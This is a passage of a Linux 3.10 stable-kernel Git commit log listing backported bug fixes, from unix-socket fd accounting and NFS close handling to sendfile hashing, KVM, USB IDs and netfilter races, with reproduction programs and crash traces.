upstream. The commit referenced in the Fixes tag incorrectly accounted the number of in-flight fds over a unix domain socket to the original opener of the file-descriptor. This allows another process to arbitrary deplete the original file-openers resource limit for the maximum of open files. Instead the sending processes and its struct cred should be credited. To do so, we add a reference counted struct user_struct pointer to the scm_fp_list and use it to account for the number of inflight unix fds. Fixes: 712f4aad406bb1 ("unix: properly account for FDs passed over unix sockets") Reported-by: David Herrmann Cc: David Herrmann Cc: Willy Tarreau Cc: Linus Torvalds Suggested-by: Linus Torvalds Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b58023805fba3f2fb57644c65d61f94cc093ca3c Author: Olga Kornievskaia Date: Mon Sep 14 19:54:36 2015 -0400 Failing to send a CLOSE if file is opened WRONLY and server reboots on a 4.x mount commit a41cbe86df3afbc82311a1640e20858c0cd7e065 upstream. A test case is as the description says: open(foobar, O_WRONLY); sleep() --> reboot the server close(foobar) The bug is because in nfs4state.c in nfs4_reclaim_open_state() a few line before going to restart, there is clear_bit(NFS4CLNT_RECLAIM_NOGRACE, &state->flags). NFS4CLNT_RECLAIM_NOGRACE is a flag for the client states not open owner states. Value of NFS4CLNT_RECLAIM_NOGRACE is 4 which is the value of NFS_O_WRONLY_STATE in nfs4_state->flags. So clearing it wipes out state and when we go to close it, “call_close†doesn’t get set as state flag is not set and CLOSE doesn’t go on the wire. Signed-off-by: Olga Kornievskaia Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b089f682f266a17fb08060fff59d092a6f6ccfa6 Author: Christophe Leroy Date: Wed May 6 17:26:47 2015 +0200 splice: sendfile() at once fails for big files commit 0ff28d9f4674d781e492bcff6f32f0fe48cf0fed upstream. Using sendfile with below small program to get MD5 sums of some files, it appear that big files (over 64kbytes with 4k pages system) get a wrong MD5 sum while small files get the correct sum. This program uses sendfile() to send a file to an AF_ALG socket for hashing. /* md5sum2.c */ #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { int sk = socket(AF_ALG, SOCK_SEQPACKET, 0); struct stat st; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "md5", }; int n; bind(sk, (struct sockaddr*)&sa, sizeof(sa)); for (n = 1; n < argc; n++) { int size; int offset = 0; char buf[4096]; int fd; int sko; int i; fd = open(argv[n], O_RDONLY); sko = accept(sk, NULL, 0); fstat(fd, &st); size = st.st_size; sendfile(sko, fd, &offset, size); size = read(sko, buf, sizeof(buf)); for (i = 0; i < size; i++) printf("%2.2x", buf[i]); printf(" %s\n", argv[n]); close(fd); close(sko); } exit(0); } Test below is done using official linux patch files. First result is with a software based md5sum. Second result is with the program above. root@vgoip:~# ls -l patch-3.6.* -rw-r--r-- 1 root root 64011 Aug 24 12:01 patch-3.6.2.gz -rw-r--r-- 1 root root 94131 Aug 24 12:01 patch-3.6.3.gz root@vgoip:~# md5sum patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz c5e8f687878457db77cb7158c38a7e43 patch-3.6.3.gz root@vgoip:~# ./md5sum2 patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz 5fd77b24e68bb24dcc72d6e57c64790e patch-3.6.3.gz After investivation, it appears that sendfile() sends the files by blocks of 64kbytes (16 times PAGE_SIZE). The problem is that at the end of each block, the SPLICE_F_MORE flag is missing, therefore the hashing operation is reset as if it was the end of the file. This patch adds SPLICE_F_MORE to the flags when more data is pending. With the patch applied, we get the correct sums: root@vgoip:~# md5sum patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz c5e8f687878457db77cb7158c38a7e43 patch-3.6.3.gz root@vgoip:~# ./md5sum2 patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz c5e8f687878457db77cb7158c38a7e43 patch-3.6.3.gz Signed-off-by: Christophe Leroy Signed-off-by: Jens Axboe Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d03f79f1407ebb217ebe92a78cdfe1872631a43 Author: James Hogan Date: Wed Nov 11 14:21:20 2015 +0000 MIPS: KVM: Uninit VCPU in vcpu_create error path commit 585bb8f9a5e592f2ce7abbe5ed3112d5438d2754 upstream. If either of the memory allocations in kvm_arch_vcpu_create() fail, the vcpu which has been allocated and kvm_vcpu_init'd doesn't get uninit'd in the error handling path. Add a call to kvm_vcpu_uninit() to fix this. Fixes: 669e846e6c4e ("KVM/MIPS32: MIPS arch specific APIs for KVM") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Paolo Bonzini Cc: Gleb Natapov Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5f6c93ec658e2c4481d4a5702de6e69aa69bdcc Author: James Hogan Date: Wed Nov 11 14:21:19 2015 +0000 MIPS: KVM: Fix CACHE immediate offset sign extension commit c5c2a3b998f1ff5a586f9d37e154070b8d550d17 upstream. The immediate field of the CACHE instruction is signed, so ensure that it gets sign extended by casting it to an int16_t rather than just masking the low 16 bits. Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Paolo Bonzini Cc: Gleb Natapov Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e06b08f931627e0a719b267f7f1f656d52852208 Author: James Hogan Date: Wed Nov 11 14:21:18 2015 +0000 MIPS: KVM: Fix ASID restoration logic commit 002374f371bd02df864cce1fe85d90dc5b292837 upstream. ASID restoration on guest resume should determine the guest execution mode based on the guest Status register rather than bit 30 of the guest PC. Fix the two places in locore.S that do this, loading the guest status from the cop0 area. Note, this assembly is specific to the trap & emulate implementation of KVM, so it doesn't need to check the supervisor bit as that mode is not implemented in the guest. Fixes: b680f70fc111 ("KVM/MIPS32: Entry point for trampolining to...") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Paolo Bonzini Cc: Gleb Natapov Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a3897f96f230fefed5cac08e84d8c949e787f544 Author: Hariprasad S Date: Fri Dec 11 13:59:17 2015 +0530 iw_cxgb3: Fix incorrectly returning error on success commit 67f1aee6f45059fd6b0f5b0ecb2c97ad0451f6b3 upstream. The cxgb3_*_send() functions return NET_XMIT_ values, which are positive integers values. So don't treat positive return values as an error. Signed-off-by: Steve Wise Signed-off-by: Hariprasad Shenai Signed-off-by: Doug Ledford [a pox on developers and maintainers who do not cc: stable for bug fixes like this - gregkh] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e332e7ad5adba61fc9b93b386d3764b4e118272b Author: Corey Wright Date: Sun Feb 28 02:42:39 2016 -0600 proc: Fix ptrace-based permission checks for accessing task maps Modify mm_access() calls in fs/proc/task_mmu.c and fs/proc/task_nommu.c to have the mode include PTRACE_MODE_FSCREDS so accessing /proc/pid/maps and /proc/pid/pagemap is not denied to all users. In backporting upstream commit caaee623 to pre-3.18 kernel versions it was overlooked that mm_access() is used in fs/proc/task_*mmu.c as those calls were removed in 3.18 (by upstream commit 29a40ace) and did not exist at the time of the original commit. Signed-off-by: Corey Wright Acked-by: Jann Horn Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 980208bf8547c1a59df55df58d4c2fd175ef3d4f Author: Bjørn Mork Date: Fri Feb 12 16:40:00 2016 +0100 USB: option: add "4G LTE usb-modem U901" commit d061c1caa31d4d9792cfe48a2c6b309a0e01ef46 upstream. Thomas reports: T: Bus=01 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=05c6 ProdID=6001 Rev=00.00 S: Manufacturer=USB Modem S: Product=USB Modem S: SerialNumber=1234567890ABCDEF C: #Ifs= 5 Cfg#= 1 Atr=e0 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 4 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24ec08fe287240eb71c4db846eab5cf31087bd3d Author: Andrey Skvortsov Date: Fri Jan 29 00:07:30 2016 +0300 USB: option: add support for SIM7100E commit 3158a8d416f4e1b79dcc867d67cb50013140772c upstream. $ lsusb: Bus 001 Device 101: ID 1e0e:9001 Qualcomm / Option $ usb-devices: T: Bus=01 Lev=02 Prnt=02 Port=00 Cnt=01 Dev#=101 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 2 P: Vendor=1e0e ProdID=9001 Rev= 2.32 S: Manufacturer=SimTech, Incorporated S: Product=SimTech, Incorporated S: SerialNumber=0123456789ABCDEF C:* #Ifs= 7 Cfg#= 1 Atr=80 MxPwr=500mA I:* If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I:* If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 5 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I:* If#= 6 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=42 Prot=01 Driver=(none) The last interface (6) is used for Android Composite ADB interface. Serial port layout: 0: QCDM/DIAG 1: NMEA 2: AT 3: AT/PPP 4: audio Signed-off-by: Andrey Skvortsov Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c776aefc1407a2d24145ef30ead5d0d2012f63f8 Author: Ken Lin Date: Mon Feb 1 14:57:25 2016 -0500 USB: cp210x: add IDs for GE B650V3 and B850V3 boards commit 6627ae19385283b89356a199d7f03c75ba35fb29 upstream. Add USB ID for cp2104/5 devices on GE B650v3 and B850v3 boards. Signed-off-by: Ken Lin Signed-off-by: Akshay Bhat Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0fb85920422d49f541e10f5acbddb32270782ffd Author: Gerhard Uttenthaler Date: Tue Dec 22 17:29:16 2015 +0100 can: ems_usb: Fix possible tx overflow commit 90cfde46586d2286488d8ed636929e936c0c9ab2 upstream. This patch fixes the problem that more CAN messages could be sent to the interface as could be send on the CAN bus. This was more likely for slow baud rates. The sleeping _start_xmit was woken up in the _write_bulk_callback. Under heavy TX load this produced another bulk transfer without checking the free_slots variable and hence caused the overflow in the interface. Signed-off-by: Gerhard Uttenthaler Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08ec54232bb30a7a7d2657086a8b48744c6b2231 Author: Nikolay Borisov Date: Thu Dec 17 18:03:35 2015 +0200 dm thin: fix race condition when destroying thin pool workqueue commit 18d03e8c25f173f4107a40d0b8c24defb6ed69f3 upstream. When a thin pool is being destroyed delayed work items are cancelled using cancel_delayed_work(), which doesn't guarantee that on return the delayed item isn't running. This can cause the work item to requeue itself on an already destroyed workqueue. Fix this by using cancel_delayed_work_sync() which guarantees that on return the work item is not running anymore. Fixes: 905e51b39a555 ("dm thin: commit outstanding data every second") Fixes: 85ad643b7e7e5 ("dm thin: add timeout to stop out-of-data-space mode holding IO forever") Signed-off-by: Nikolay Borisov Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd6e18b127a79de663416367b455e1a313892cc1 Author: Joe Thornber Date: Wed Dec 9 16:23:24 2015 +0000 dm thin metadata: fix bug when taking a metadata snapshot commit 49e99fc717f624aa75ca755d6e7bc029efd3f0e9 upstream. When you take a metadata snapshot the btree roots for the mapping and details tree need to have their reference counts incremented so they persist for the lifetime of the metadata snap. The roots being incremented were those currently written in the superblock, which could possibly be out of date if concurrent IO is triggering new mappings, breaking of sharing, etc. Fix this by performing a commit with the metadata lock held while taking a metadata snapshot. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6a03729516455a0ca56c2c3f0d7c02b56dd529d Author: Ingo Molnar Date: Tue Mar 3 07:34:33 2015 +0100 efi: Disable interrupts around EFI calls, not in the epilog/prolog calls commit 23a0d4e8fa6d3a1d7fb819f79bcc0a3739c30ba9 upstream. Tapasweni Pathak reported that we do a kmalloc() in efi_call_phys_prolog() on x86-64 while having interrupts disabled, which is a big no-no, as kmalloc() can sleep. Solve this by removing the irq disabling from the prolog/epilog calls around EFI calls: it's unnecessary, as in this stage we are single threaded in the boot thread, and we don't ever execute this from interrupt contexts. Reported-by: Tapasweni Pathak Signed-off-by: Ingo Molnar Signed-off-by: Matt Fleming [ luis: backported to 3.10: adjusted context ] Signed-off-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92b41e073cd7d3f86608c44995b6eb1692743683 Author: Dave Airlie Date: Thu Aug 20 10:13:55 2015 +1000 drm/radeon: fix hotplug race at startup commit 7f98ca454ad373fc1b76be804fa7138ff68c1d27 upstream. We apparantly get a hotplug irq before we've initialised modesetting, [drm] Loading R100 Microcode BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] __mutex_lock_slowpath+0x23/0x91 *pde = 00000000 Oops: 0002 [#1] Modules linked in: radeon(+) drm_kms_helper ttm drm i2c_algo_bit backlight pcspkr psmouse evdev sr_mod input_leds led_class cdrom sg parport_pc parport floppy intel_agp intel_gtt lpc_ich acpi_cpufreq processor button mfd_core agpgart uhci_hcd ehci_hcd rng_core snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm usbcore usb_common i2c_i801 i2c_core snd_timer snd soundcore thermal_sys CPU: 0 PID: 15 Comm: kworker/0:1 Not tainted 4.2.0-rc7-00015-gbf67402 #111 Hardware name: MicroLink /D850MV , BIOS MV85010A.86A.0067.P24.0304081124 04/08/2003 Workqueue: events radeon_hotplug_work_func [radeon] task: f6ca5900 ti: f6d3e000 task.ti: f6d3e000 EIP: 0060:[] EFLAGS: 00010282 CPU: 0 EIP is at __mutex_lock_slowpath+0x23/0x91 EAX: 00000000 EBX: f5e900fc ECX: 00000000 EDX: fffffffe ESI: f6ca5900 EDI: f5e90100 EBP: f5e90000 ESP: f6d3ff0c DS: 007b ES: 007b FS: 0000 GS: 0000 SS: 0068 CR0: 8005003b CR2: 00000000 CR3: 36f61000 CR4: 000006d0 Stack: f5e90100 00000000 c103c4c1 f6d2a5a0 f5e900fc f6df394c c125f162 f8b0faca f6d2a5a0 c138ca00 f6df394c f7395600 c1034741 00d40000 00000000 f6d2a5a0 c138ca00 f6d2a5b8 c138ca10 c1034b58 00000001 f6d40000 f6ca5900 f6d0c940 Call Trace: [] ? dequeue_task_fair+0xa4/0xb7 [] ? mutex_lock+0x9/0xa [] ? radeon_hotplug_work_func+0x17/0x57 [radeon] [] ? process_one_work+0xfc/0x194 [] ? worker_thread+0x18d/0x218 [] ? rescuer_thread+0x1d5/0x1d5 [] ? kthread+0x7b/0x80 [] ? ret_from_kernel_thread+0x20/0x30 [] ? init_completion+0x18/0x18 Code: 42 08 e8 8e a6 dd ff c3 57 56 53 83 ec 0c 8b 35 48 f7 37 c1 8b 10 4a 74 1a 89 c3 8d 78 04 8b 40 08 89 63 Reported-and-Tested-by: Meelis Roos Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 91b52531da650e97b358c26fe48b493d17192d33 Author: Kamal Mostafa Date: Wed Nov 11 14:25:34 2015 -0800 tools: Add a "make all" rule commit f6ba98c5dc78708cb7fd29950c4a50c4c7e88f95 upstream. Signed-off-by: Kamal Mostafa Acked-by: Pavel Machek Cc: Jiri Olsa Cc: Jonathan Cameron Cc: Pali Rohar Cc: Roberta Dobrescu Link: http://lkml.kernel.org/r/1447280736-2161-2-git-send-email-kamal@canonical.com Signed-off-by: Arnaldo Carvalho de Melo [ kamal: backport to 3.10-stable: build all tools for this version ] Signed-off-by: Kamal Mostafa Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20df17684a96db5bf31a128c604a469d283f018d Author: Zheng Liu Date: Sun Nov 29 17:21:57 2015 -0800 bcache: unregister reboot notifier if bcache fails to unregister device commit 2ecf0cdb2b437402110ab57546e02abfa68a716b upstream. In bcache_init() function it forgot to unregister reboot notifier if bcache fails to unregister a block device. This commit fixes this. Signed-off-by: Zheng Liu Tested-by: Joshua Schmid Tested-by: Eric Wheeler Cc: Kent Overstreet Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1543fb27ef0a58ca44f5e22105bba90a79603d0 Author: Andrey Vagin Date: Wed Jan 29 19:34:14 2014 +0100 netfilter: nf_conntrack: fix RCU race in nf_conntrack_find_get commit c6825c0976fa7893692e0e43b09740b419b23c09 upstream. Lets look at destroy_conntrack: hlist_nulls_del_rcu(&ct->tuplehash[IP_CT_DIR_ORIGINAL].hnnode); ... nf_conntrack_free(ct) kmem_cache_free(net->ct.nf_conntrack_cachep, ct); net->ct.nf_conntrack_cachep is created with SLAB_DESTROY_BY_RCU. The hash is protected by rcu, so readers look up conntracks without locks. A conntrack is removed from the hash, but in this moment a few readers still can use the conntrack. Then this conntrack is released and another thread creates conntrack with the same address and the equal tuple. After this a reader starts to validate the conntrack: * It's not dying, because a new conntrack was created * nf_ct_tuple_equal() returns true. But this conntrack is not initialized yet, so it can not be used by two threads concurrently. In this case BUG_ON may be triggered from nf_nat_setup_info(). Florian Westphal suggested to check the confirm bit too. I think it's right. task 1 task 2 task 3 nf_conntrack_find_get ____nf_conntrack_find destroy_conntrack hlist_nulls_del_rcu nf_conntrack_free kmem_cache_free __nf_conntrack_alloc kmem_cache_alloc memset(&ct->tuplehash[IP_CT_DIR_MAX], if (nf_ct_is_dying(ct)) if (!nf_ct_tuple_equal() I'm not sure, that I have ever seen this race condition in a real life. Currently we are investigating a bug, which is reproduced on a few nodes. In our case one conntrack is initialized from a few tasks concurrently, we don't have any other explanation for this. <2>[46267.083061] kernel BUG at net/ipv4/netfilter/nf_nat_core.c:322! ... <4>[46267.083951] RIP: 0010:[] [] nf_nat_setup_info+0x564/0x590 [nf_nat] ... <4>[46267.085549] Call Trace: <4>[46267.085622] [] alloc_null_binding+0x5b/0xa0 [iptable_nat] <4>[46267.085697] [] nf_nat_rule_find+0x5c/0x80 [iptable_nat] <4>[46267.085770] [] nf_nat_fn+0x111/0x260 [iptable_nat] <4>[46267.085843] [] nf_nat_out+0x48/0xd0 [iptable_nat] <4>[46267.085919] [] nf_iterate+0x69/0xb0 <4>[46267.085991] [] ? ip_finish_output+0x0/0x2f0 <4>[46267.086063] [] nf_hook_slow+0x74/0x110 <4>[46267.086133] [] ? ip_finish_output+0x0/0x2f0 <4>[46267.086207] [] ? dst_output+0x0/0x20 <4>[46267.086277] [] ip_output+0xa4/0xc0 <4>[46267.086346] [] raw_sendmsg+0x8b4/0x910 <4>[46267.086419] [] inet_sendmsg+0x4a/0xb0 <4>[46267.086491] [] ? sock_update_classid+0x3a/0x50 <4>[46267.086562] [] sock_sendmsg+0x117/0x140 <4>[46267.086638] [] ? _spin_unlock_bh+0x1b/0x20 <4>[46267.086712] [] ? autoremove_wake_function+0x0/0x40 <4>[46267.086785] [] ? do_ip_setsockopt+0x90/0xd80 <4>[46267.086858] [] ? call_function_interrupt+0xe/0x20 <4>[46267.086936] [] ? ub_slab_ptr+0x20/0x90 <4>[46267.087006] [] ? ub_slab_ptr+0x20/0x90 <4>[46267.087081] [] ? kmem_cache_alloc+0xd8/0x1e0 <4>[46267.087151] [] sys_sendto+0x139/0x190 <4>[46267.087229] [] ? sock_setsockopt+0x16d/0x6f0 <4>[46267.087303] [] ? audit_syscall_entry+0x1d7/0x200 <4>[46267.087378] [] ? __audit_syscall_exit+0x265/0x290 <4>[46267.087454] [] ? compat_sys_setsockopt+0x75/0x210 <4>[46267.087531] [] compat_sys_socketcall+0x13f/0x210 <4>[46267.087607] [] ia32_sysret+0x0/0x5 <4>[46267.087676] Code: 91 20 e2 01 75 29 48 89 de 4c 89 f7 e8 56 fa ff ff 85 c0 0f 84 68 fc ff ff 0f b6 4d c6 41 8b 45 00 e9 4d fb ff ff e8 7c 19 e9 e0 <0f> 0b eb fe f6 05 17 91 20 e2 80 74 ce 80 3d 5f 2e 00 00 00 74 <1>[46267.088023] RIP [] nf_nat_setup_info+0x564/0x590 Cc: Eric Dumazet Cc: Florian Westphal Cc: Pablo Neira Ayuso Cc: Patrick McHardy Cc: Jozsef Kadlecsik Cc: "David S. Miller" Cc: Cyrill Gorcunov Signed-off-by: Andrey Vagin Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15d9d9c2b98f1ea88f2c55fab7716828b04332d9 Author: Egbert Eich Date: Wed Jun 11 14:59:55 2014 +0200 drm/ast: Initialized data needed to map fbdev memory commit 28fb4cb7fa6f63dc2fbdb5f2564dcbead8e3eee0 upstream. Due to a missing initialization there was no way to map fbdev memory. Thus for example using the Xserver with the fbdev driver failed. This fix adds initialization for fix.smem_start and fix.smem_len in the fb_info structure, which fixes this problem. Requested-by: Benjamin Herrenschmidt Signed-off-by: Egbert Eich [pulled from SuSE tree by me - airlied] Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54ae6df69f3f137badd8258ba4039a6cbb4de715 Author: Steven Rostedt (Red Hat) Date: Mon Feb 15 12:36:14 2016 -0500 tracepoints: Do not trace when cpu is offline commit f37755490fe9bf76f6ba1d8c6591745d3574a6a6 upstream. The tracepoint infrastructure uses RCU sched protection to enable and disable tracepoints safely. There are some instances where tracepoints are used in infrastructure code (like kfree()) that get called after a CPU is going offline, and perhaps when it is coming back online but hasn't been registered yet. This can probuce the following warning: [ INFO: suspicious RCU usage. ] 4.4.0-00006-g0fe53e8-dirty #34 Tainted: G S ------------------------------- include/trace/events/kmem.h:141 suspicious rcu_dereference_check() usage! other info that might help us debug this: RCU used illegally from offline CPU! rcu_scheduler_active = 1, debug_locks = 1 no locks held by swapper/8/0. stack backtrace: CPU: 8 PID: 0 Comm: swapper/8 Tainted: G S 4.4.0-00006-g0fe53e8-dirty #34 Call Trace: [c0000005b76c78d0] [c0000000008b9540] .dump_stack+0x98/0xd4 (unreliable) [c0000005b76c7950] [c00000000010c898] .lockdep_rcu_suspicious+0x108/0x170 [c0000005b76c79e0] [c00000000029adc0] .kfree+0x390/0x440 [c0000005b76c7a80] [c000000000055f74] .destroy_context+0x44/0x100 [c0000005b76c7b00] [c0000000000934a0] .__mmdrop+0x60/0x150 [c0000005b76c7b90] [c0000000000e3ff0] .idle_task_exit+0x130/0x140 [c0000005b76c7c20] [c000000000075804] .pseries_mach_cpu_die+0x64/0x310 [c0000005b76c7cd0] [c000000000043e7c] .cpu_die+0x3c/0x60 [c0000005b76c7d40] [c0000000000188d8] .arch_cpu_idle_dead+0x28/0x40 [c0000005b76c7db0] [c000000000101e6c] .cpu_startup_entry+0x50c/0x560 [c0000005b76c7ed0] [c000000000043bd8] .start_secondary+0x328/0x360 [c0000005b76c7f90] [c000000000008a6c] start_secondary_prolog+0x10/0x14 This warning is not a false positive either. RCU is not protecting code that is being executed while the CPU is offline. Instead of playing "whack-a-mole(TM)" and adding conditional statements to the tracepoints we find that are used in this instance, simply add a cpu_online() test to the tracepoint code where the tracepoint will be ignored if the CPU is offline. Use of raw_smp_processor_id() is fine, as there should never be a case where the tracepoint code goes from running on a CPU that is online and suddenly gets migrated to a CPU that is offline. Link: http://lkml.kernel.org/r/1455387773-4245-1-git-send-email-kda@linux-powerpc.org Reported-by: Denis Kirjanov Fixes: 97e1c18e8d17b ("tracing: Kernel Tracepoints") Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8739be11586e05ae8252c32bd85bfd50ffb8731c Author: Greg Kroah-Hartman Date: Thu Feb 25 11:58:19 2016 -0800 Linux 3.10.98 Signed-off-by: Pranav Vashi commit 4fc4f3fa62a36b15193192924d7eab174ee3f394 Author: WANG Cong Date: Tue Mar 31 11:01:47 2015 -0700 ip6mr: call del_timer_sync() in ip6mr_free_table() commit 7ba0c47c34a1ea5bc7a24ca67309996cce0569b5 upstream. We need to wait for the flying timers, since we are going to free the mrtable right after it. Cc: Hannes Frederic Sowa Signed-off-by: Cong Wang Signed-off-by: David S. Miller Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 707c53b7e174ca0f3ffedb397fa301d56e365d84 Author: Thomas Gleixner Date: Sat Dec 19 20:07:38 2015 +0000 futex: Drop refcount if requeue_pi() acquired the rtmutex commit fb75a4282d0d9a3c7c44d940582c2d226cf3acfb upstream. If the proxy lock in the requeue loop acquires the rtmutex for a waiter then it acquired also refcount on the pi_state related to the futex, but the waiter side does not drop the reference count. Add the missing free_pi_state() call. Signed-off-by: Thomas Gleixner Cc: Peter Zijlstra Cc: Darren Hart Cc: Davidlohr Bueso Cc: Bhuvanesh_Surachari@mentor.com Cc: Andy Lowe Link: http://lkml.kernel.org/r/20151219200607.178132067@linutronix.de Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 838537c5f211be201d5f0248b4632dc3cc0974ac Author: Andy Lutomirski Date: Fri May 22 16:15:47 2015 -0700 x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers commit 425be5679fd292a3c36cb1fe423086708a99f11a upstream. The early_idt_handlers asm code generates an array of entry points spaced nine bytes apart. It's not really clear from that code or from the places that reference it what's going on, and the code only works in the first place because GAS never generates two-byte JMP instructions when jumping to global labels. Clean up the code to generate the correct array stride (member size) explicitly. This should be considerably more robust against screw-ups, as GAS will warn if a .fill directive has a negative count. Using '. =' to advance would have been even more robust (it would generate an actual error if it tried to move backwards), but it would pad with nulls, confusing anyone who tries to disassemble the code. The new scheme should be much clearer to future readers. While we're at it, improve the comments and rename the array and common code. Binutils may start relaxing jumps to non-weak labels. If so, this change will fix our build, and we may need to backport this change. Before, on x86_64: 0000000000000000 : 0: 6a 00 pushq $0x0 2: 6a 00 pushq $0x0 4: e9 00 00 00 00 jmpq 9 5: R_X86_64_PC32 early_idt_handler-0x4 ... 48: 66 90 xchg %ax,%ax 4a: 6a 08 pushq $0x8 4c: e9 00 00 00 00 jmpq 51 4d: R_X86_64_PC32 early_idt_handler-0x4 ... 117: 6a 00 pushq $0x0 119: 6a 1f pushq $0x1f 11b: e9 00 00 00 00 jmpq 120 11c: R_X86_64_PC32 early_idt_handler-0x4 After: 0000000000000000 : 0: 6a 00 pushq $0x0 2: 6a 00 pushq $0x0 4: e9 14 01 00 00 jmpq 11d ... 48: 6a 08 pushq $0x8 4a: e9 d1 00 00 00 jmpq 120 4f: cc int3 50: cc int3 ... 117: 6a 00 pushq $0x0 119: 6a 1f pushq $0x1f 11b: eb 03 jmp 120 11d: cc int3 11e: cc int3 11f: cc int3 Signed-off-by: Andy Lutomirski Acked-by: H. Peter Anvin Cc: Binutils Cc: Borislav Petkov Cc: H.J. Lu Cc: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/ac027962af343b0c599cbfcf50b945ad2ef3d7a8.1432336324.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75038c27088613682c8243b0053ec01887b773b9 Author: Dan Carpenter Date: Tue Jan 26 12:24:25 2016 +0300 intel_scu_ipcutil: underflow in scu_reg_access() commit b1d353ad3d5835b16724653b33c05124e1b5acf1 upstream. "count" is controlled by the user and it can be negative. Let's prevent that by making it unsigned. You have to have CAP_SYS_RAWIO to call this function so the bug is not as serious as it could be. Fixes: 5369c02d951a ('intel_scu_ipc: Utility driver for intel scu ipc') Signed-off-by: Dan Carpenter Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 27c102069b8ade814fb1d54261056fdede0c2781 Author: Konstantin Khlebnikov Date: Fri Feb 5 15:37:01 2016 -0800 radix-tree: fix oops after radix_tree_iter_retry commit 732042821cfa106b3c20b9780e4c60fee9d68900 upstream. Helper radix_tree_iter_retry() resets next_index to the current 